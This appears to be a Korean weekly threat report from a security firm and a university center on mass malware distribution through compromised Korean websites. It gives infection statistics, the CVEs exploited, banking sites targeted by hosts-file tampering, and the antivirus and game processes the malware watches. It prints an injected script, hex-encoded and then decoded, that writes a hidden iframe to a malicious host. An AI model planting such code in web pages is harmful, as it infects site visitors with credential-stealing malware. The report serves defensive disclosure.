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빛스캔과 KAIST 사이버보안센터에서 공동 운영하는 보안정보 제공 서비스 6 1주차 국내 인터넷 환경의 위협 분석 내용입니다. 

본 정보제공 서비스는 국내에서 발생되는 악성코드 유포에 대해 직접적으로 분석을 함으로써 위험의 흐름과 대응에 대해서 알 수 있도록 하기 위한 것이 주된 목적이며, 공격 형태의 변화에 따라대규모로 확장 및 개선된 상황을 유지하며 운영 되고 있습니다.

모든 IP 주소와 도메인 명은 가려지며 보고서 서비스의 구독을 하시는 기업 / 기관에는 공개적으로 기술이 됩니다.


 본 보고서의 활용 용도는 다음과 같은 활용이 가능합니다.

 


1. 악성링크 및 악성코드 유포에 이용되는 IP 대역 차단을 통한 좀비 PC 감염 방지

2. 악성링크가 공격에 활용하는 주된 취약성에 대한 내부 보안 강화 정책 - 패치

3. 내부 감염된 APT 공격의 확인 및 제거에 활용 ( 각 개별 기술 분석 참고)


 


금주 차의 특징은 공격자들의 전략적인 공격이 대폭 확대 되고 있습니다악성링크에 대해 대규모 변경과 추가가 계속 발생 되고 있습니다신규 악성링크의 수치는 전주와 유사하며 신규 악성코드만 일부 증가된 형태를 보이고 있습니다그러나 실제 악성링크 하나가 전주에 관찰 되었듯이 최소 10 ~ 최대 100 개 이상의 웹서비스에서 동시에 중계된 사례가 발생 하였으며 금주에는 최대 250개 이상의 사이트에서 동일 링크가 중계되는 관찰이래 최대치의 악성링크 확산 사태가 발생 하였습니다. 즉 중간 경로를 이용한 효율적 공격들이 대규모로 관찰 되고 있어서 영향력 면에서는 지난주의 100여개 이상의 사이트에서 유포된 사례와 비교하여 위험성은 더 대규모로 확대된 상태 입니다.



 큰 특징은 다음과 같습니다.



         * 현재 발견 된 것 중에서도 대규모 Malware net 이외에 다수의 Malware net이 운영 중에 있습니다. 규모는 작으나 언제든 대규모 확장이 가능한 상태로 유지됨

  • 몇몇 은행의 인터넷 뱅킹을 특정 사이트로 유도하기 위한 공격의 온라인 전파 ( Drive by download  파일 업데이트가 아닌 웹 서비스 방문을 통한 대규모 유포 시도)

http://www.dailysecu.com/news_view.php?article_id=2363 에서 기사화된 내용과 동일한 내용이나 특정 방송의 업데이트나 일부에 국한된 문제가 아니며 대규모 Malware net을 통해 방문자들 모두에게 대량 유포되는 형태로 유포 되었으며 국내에 매우 많이 확산 되어 있을 것으로 판단 됩니다. )


  • 분석 방해를 위한 Virtual machine 회피 기법 활용  국내 주요 백신에  Killing, 거의 대부분의 게임에 대한 프로세스 모니터링 대규모 발견


  • 백도어  키로거 기능의 악성코드 유포 대폭 증가 - 6.10일 부터 Mass sql 공격의 일종으로 추가된  fjuhgk.com/r.php 링크가 신규 발견 되어 확산 중입니다.


부수적으로 중앙일보에 대한 페이지 변조 사건이 있었습니다만 저희쪽에 감지된 일부 언론사의 경우 실제 악성코드 유포에 직접 활용 되었으며  언론사는 조선일보 입니.  저희쪽에 감지된 악성링크가 추가된 url 은 xxxxxxx.chosun.com/inc/scripts.js 이나 전체적으로 문제가 있었을 것으로 예상 되고 있습니다.  

방문시 실행 되는 악성링크는 50.117.xxx.86/image/img.js 입니다. 시스템 상에 백도어 설치를 통해 게임 계정 정보를 유출 하는 악성코드의 일종이 설치 되었습니다. 1주일 동안 발견된 악성코드 흔적 2300여 곳중 하나일 뿐입니다.  중앙일보 페이지 변조 보다 수준 높은 악성코드 유포가 그만큼 많이 일어나고 있는 현재의 모습일 뿐입니다.



 


금주의 악성코드 유포지로 이용된 웹서비스들은 300여곳 이상이며 전주 대비 대폭 감소 되었으나 실제로는 600여곳 이상에서 악성코드를 중계 하였습니다.  전주 대비 감소의 이유에는 250여 곳 이상의 서비스에서 악성코드를 유포한 악성링크가 이미 지난 3월에 발견된 악성링크로서 금주의 신규 악성링크 통계에는 빠져 있어서 통계치의 왜곡이 발생 되었습니다3월에 소규모였던 악성링크 확산 규모가 주말 단 2일 동안에 250여 개 이상의 웹 사이트에서 중계를 하도록 확장 되는 심각한 국면이 전개 되고 있습니다. 6 1주차의 전체 악성링크 흔적이 발견된 곳은 2300여 곳입니다.

 


현재도 매우 활발하게 범위를 확산 시키고 있고 단 이틀 만에 250개 이상의 취약한 웹서비스들에 악성링크를 추가하는 적극적인 공격이 계속 확산 되고 있습니다. 악성링크가 삽입된 웹서비스들

의 대응이 많이 부족한 상태라 계속 재발 되고 있으며, 대규모 감염을 시키기 위해 사용자가 방문 시 감염 될 수 있는 사이트들을 대규모로 확장하여 거대 네트워크를 운영 중입니다. 악성코드 전파용인 Malware net 은 금주의 관찰 결과 지난주 관찰되었던 백여 개 이상의 웹서비스들에서 중계되었던 http://www.xxxxxxxxx.com/script/js/script.js 악성 중계 링크의 경우 이 중 40% 가량이 금주 공격에 이용된 www.xxx.or.kr/popup_img/popup.js  전환되는 현상이 관찰 되었습니다 공격자가 Active 하게 활용   있는 상태라 확인이 되고 있습니다.

 

www.xxx.or.kr/popup_img/popup.js -> 추가된 악성링크 내용

 

if(document.cookie.indexOf('ralrlea')==-1){var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);document.cookie='ralrlea=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%30%71%6C%2E%69%6E%66%6F%2F%77%6D%2F%68%75%69%77%65%69%2F%69%6E%64%65%78%2E%68%74%6D%6C%27%20%77%69%64%74%68%3D%27%31%30%30%27%20%68%65%69%67%68%74%3D%27%30%27%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%27%30%27%3E%3C%2F%69%66%72%61%6D%65%3E"));}

 

Hex  Decode 

-> if(document.cookie.indexOf('ralrlea')==-1){var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);document.cookie='ralrlea=Yes;path=/;expires='+expires.toGMTString();document.write(unescape("<iframe src='http://0ql.info/wm/huiwei/index.html' width='100' height='0' frameborder='0'></iframe>"));}



<실제 악성링크의 구조도>



정리하면 지난주에 활용 되었던 악성링크가 추가된 Malware net 40% 가량이 금주에 출현한 새로운 악성링크로 전환 되었으며 또한 규모도 전주보다 대폭 증가된 250여 곳 이상에서 관찰 되었습니다.

본 링크에 대한 공개는 대규모 피해 방지를 위해 공개합니다또한 악성링크의 내용은 수시로 변경이 되고 있으며, 1회 변경시 마다 250여개 이상의 웹사이트에서 동시에 방문자 감염이 이루어 지게 되어 있습니다공격자로서는 매우 효율적인 방식이며 차단 및 대응을 하는 측에서는 곤혹스러운 상태라 할 수 있습니다.

 

결론적으로 지금까지 사용 되어진 악성링크들을 반복해서 재활용 하는 형태는 여전 하며, 최종 설치되는 악성코드들도 동일한 유형을 계속 활용 하고 있습니다. 또한 행위 분석 방해를 위한 Virtual Machine 분석 회피 방안도 지속적으로 출현 중입니다한 가지 특이할 만한 사항은 저희쪽의 PCDS ( Pre Crime Detect System)을 회피하기 위해 3월에 이용 되었던 악성링크를 이번 대규모 악성코드 유포에 적극 활용 하였다는 점이며 이미 선 반영이 되어 향후에는 갱신된 실제 현황으로 브리핑이 가능 할 예정입니다.

 

 

악성링크 자체 및 웹서비스 전체적으로 문제점 개선이 이루어 지지 않고, 악성코드 유포 인지도 못하는 상태라서, 대응이 되지 않는 악순환이 계속 되고 있습니다. 이제 공격자들은 자유로운 재활용을 넘어, 악성코드에 감염된 좀비 PC의 대규모 확산을 위해 악성코드 유포지를 대폭 늘리고 직접 활용을 하는 단계로 전환 되었습니다. 또한 대규모 Malware net을 자유자재로 변경하고 활용 하는 현상이 추가 관찰 되어 향후의 위험성은 더욱 높아진 상태입니다.  지금까지의 브리핑에서 언급 하였던 예상과 동일하게 진행이 되고 있으며 지금까지 차단을 권고 드린 IP 대역 대부분을 모두 재활용 하였습니다. 만약 차단을 하셨다면 상당히 많은 좀비 PC 감염 및 APT의 위험을 사전에 예방 하실 수 있으셨습니다.

 

전체적으로 금주 국내 인터넷 서비스를 통한 악성코드 감염 및 좀비 PC 감염 비율은 상당히 높은 상태를 유지한 것으로 판단되며  금융권에 대한 정보유출을 위한 악성코드도  대규모 활동을 함으로써  강도 높은 경계 단계로 진입 합니다.

 

6 1주차 특징은 다음과 같습니다.

 

특징

·  · 다양한 취약성을 이용해 공격 성공 비율을 높이는 형태 계속

·  · 악성코드 유포지의 대폭 증가 및 대량 유포 현실화 - 향후 지속 될 것임

·  · 악성코드 유포자들의 전략적 행위 증가 및 범위 확대와 재활용 증가

          * 최대 250여 곳의 웹서비스가 동일 악성링크를 유포하는 것에 이용될 정도로 광범위한 증가

·  · 악성코드 분석 자체를 방해하기 위한 가상머신 우회기술, 루트킷(APT 형태) 유포 확대

·  · 3월부터 사용되었던 주요 악성링크 및 악성코드의 대규모 재활용 계속

·   은행 사용자를 겨냥한 Host 파일 변조 기능의 악성코드 유포 (홍콩으로 연결됨 

대규모로 유포된 게임 계정 탈취형 악성코드에 추가된 기능으로서 국내에 상당규모 유포 되었을 것으로 추정됨  Host 파일에 변조된 IP 주소는 123.254.xxx.92 (홍콩)


사이트명

은행명

은 행

www.kbstar.com

국민은행

kbstar.com

obank.kbstar.com

banking.nonghyup.com

농협

www.wooribank.com

우리은행

wooribank.com

pib.wooribank.com

bank.keb.co.kr

외환은행

www.keb.co.kr

 

* 악성링크를 중계하는 웹서비스의 증가는 웹서핑시 감염될 확률이 더욱 높아짐을 의미합니다.

 

* 유포지와 중계지의 의미는 사용자 관점 이나 악성링크의 관점에서 다를 수 있습니다. 저희는 사용자 관점에서 웹 서핑시 방문한 웹서비스가 문제가 있어서 감염이 된다면 직접 방문한 사이트는 ‘ 악성코드 유포지’ , 악성코드를 받아 오게 하는 임의의 주소를 ‘ 악성링크’ , 최종 사용자에게 감염을 일으키는 파일 자체를 ‘악성코드’ 로 정의 하고 있습니다.

 

사용자 PC에 대한 직접적인 공격을 일으키는 금주의 취약성은 주요 취약성 5개 가량에 집중이 되어 있으며 전주와 동일하게 Oracle Java 취약성에 대한 공격 비율이 가장 높은 비율을 차지 하고 있습니다. 또한 루트킷 및 APT 형태의 감염을 위해 사용자 PC에 디바이스 드라이버를 설치한 상태에서 내부 대역 스캔 및 특정 IP로 연결 하는 형태는 한번 감염시 막대한 피해를 감내해야 하는 부분이므로 강력한 보호 방안 수립이 요구 되고 있습니다. 

 

패치 이외에도 다양한 방안을 강구해야 문제 해결 할 수 있으며 현재 모든 보안 솔루션들이 사후 대응에 중점을 맞추고 있는데 가장 중요한 것은 사전에 대응이 얼마나 되고, 발생 가능한 위험을 제거 했느냐가 핵심이 되어야 합니다. 

 


·   Oracle Java 취약성, Adobe Flash 취약성 , MS Medi  IE 취약성이 같이 사용 되어 공격 성공 비율을 높이는 경우가 꾸준히 관찰 되고 있으므로 전체 보안 수준 관리에 노력을 기울일 필요가 있습니다.

 

·   각 기술분석 보고서에 기술된 루트킷 및 키로거, 백도어 기능을 가진 악성코드들은, 사용자 PC의 드라이버 및 시스템 파일 교체, 윈도즈 서비스 등록등을 실행하고, 내부망 스캔 및 키로깅 그리고 외부에서 명령을 대기하는 행위가 지속 관찰 되고 있어서 위험성이 높습니다.

 

·  기술분석보고서에 언급된 백도어들은 상당히 많은 악성링크들이 이용되고 있어서 현재 공격자들이 주력하는 부분으로 판단됩니다. 모두 시스템에서의 백신 프로세스를 중지 시키고 국내.외 거의 모든 게임에 대한 프로세스를 지속적으로 모니터링 하고 있으며 현재 목적은 게임계정 탈취로 보여지고 있으나 언제든 외부 도메인 연결과 업데이트를 통해 다른 형태로 전환이 될 수 있습니다.

 

모니터링 하는 프로세스의 종류는 하기와 같으며 국내의 대부분 백신 이외에도 넥슨의 OTP까지 모니터링을 하고 있습니다. 게임종류는 국내.외 게임사들의 주력 게임들이 모두 해당 되고 있습니다. OTP 관련 프로세스에 대한 후킹이나 모니터링이 된다는 것은 계정 도용 및 탈취를 막기 위한 보호대책을 추가적으로 모색해야 하는 상황으로 보여집니다금융권도 다르지 않습니다.

 ·

프로세스명

프로그램명

백 신

sgbider.exe

vcsvc.exe

vcsvcc.exe

바이러스체이서

NVCAgent.npc

nsvmon.npc

Nsavsvc.npc

NaverAgent.exe

네이버백신

V3LRun.exe

MUpdate2.exe

SgSvc.exe

V3Light.exe

V3LTray.exe

V3LSvc.exe

V3

AYUpdSrv.aye

AYRTSrv.aye

SkyMon.exe

AYServiceNT.aye

AYupdate.aye

AyAgent.aye

알약

PCOTP.exe

넥슨 OTP

게 임

gamehi.co.kr

게임하이

hangame.com

한게임

netmarble.net

넷마블

Raycity.exe

레이시티

ff2client.exe

피파 온라인2

pmang.com

피망

df.nexon.com

dnf.exe

던전 앤 파이터

DragonNest.exe

드래곤 네스트

WinBaram.exe

바람의 나라

heroes.exe

마비노기 영웅전

wow.exe

월드 오브 워크래프트

lin.bin

리니지

MapleStory.exe

메이플 스토리

 

 본 보고서에 기술되는 내용들은 이메일등을 이용한 소규모 침투가 아니라 웹서비스를 통한 대량 유포 및 감염입니다. 

APT 형태가 사용하는 유포 취약성은 대부분 Java 취약성에 집중 되고 있습니다. 대응에 참고 하십시요.

 

사용된 취약성 비율







- CVE 2011-3544 ( 27.8%) Java Applet 취약성 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3544

- CVE 2012-0507 ( 12.4%) Java Applet 취약성 - Java Web start 취약성

- CVE 2012-0003 (22.7%) Windows Midi 취약성 – 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0003 전문분석보고서 참고

- CVE 2012-0754 (15.4%) Flash 취약성  

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0754

- CVE 2010-0806 (12.7%) IE 취약성 ( IE 6,7 대상)

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806


 -CVE 2011-2140 (8.2%) Adobe Flash 취약성

- CVE 2011-1255 (0.4%) IE 취약점

- CVE 2011-2110 (0.08%) Adobe Flash 취약성

 

금주에 이용된 취약성에서는 기존에 적극적으로 이용되던 5가지 가량의 주요 취약성 이외에도 자주 사용되지 않던 IE  Flash 취약성의 활용도 일부 감지 되어 향후 변화가 예상 됩니다.

 



< 6월 1주차 악성링크의 국가별 통계>

금주의 차단 추가 영역은 다음과 같습니다. 아래 영역은 이미 공격자가 권한을 통제하고 있는 IP 대역들이며 해당 IP 대역들은 이전 리스트에서도 계속 재활용이 되고 있습니다. 기업 및 기관에서는 해당 IP 대역 차단 이후 ( 업무 관련성 여부에 대해서는 각기관 및 기업별 검토 필요) 차단 수치에 대해서 살펴 보시면 현재 상태의 위험이 얼마나 되는지 실감 하실 수 있으시며 매우 높은 수치임을 아실 수 있습니다.



4월부터 차단 권고 드린 IP 대역은 금주에도 계속 재활용이 되었습니다. 강력한 차단을 유지하실 것을 권고 합니다.

 


차단 권고 대역


현재 공격자들도 전략적인 움직임을 보이고 있어서 공개적으로 IP 대역을 알리는 부분은 보고서 구독 고객에게만 한정하여 제공될 예정입니다.


감사합니다.

 

*시범 서비스는 순차적으로 1개월 경과시 종료 됩니다. 4회 이상을 보고서를 받으셨다면 그 이전에 정식 구독서비스를 신청하셔야 보고서가 누락되지 않습니다.  KAIST CSRC 주간보안동향 보고서는 1p 짜리의 요약형태로 작성이 되며 무료 배포가 가능합니다. 해당 서비스의 신청은csyong95@kaist.ac.kr 로 신청 하시면 됩니다.

 

* 정식 구독 서비스 가입 및 시범 서비스 신청은 info@bitscan.co.kr 이며 기관명/ 담당자/ 연락처 기재가 필요하며 시범은 기관/기업별 1회에 한정 합니다. 주위의 기업 및 기관들에게 정보 차원의 전달 가능합니다.

 

* 본 분석은 악성링크 자체의 수집은 빛스캔의 PCDS (Pre crime detect system)를 통해  수집하며, 악성링크 및 악성코드 분석은 KAIST 사이버보안연구센터, 정보보호대학원과 공동으로 진행합니다.

 

Posted by 바다란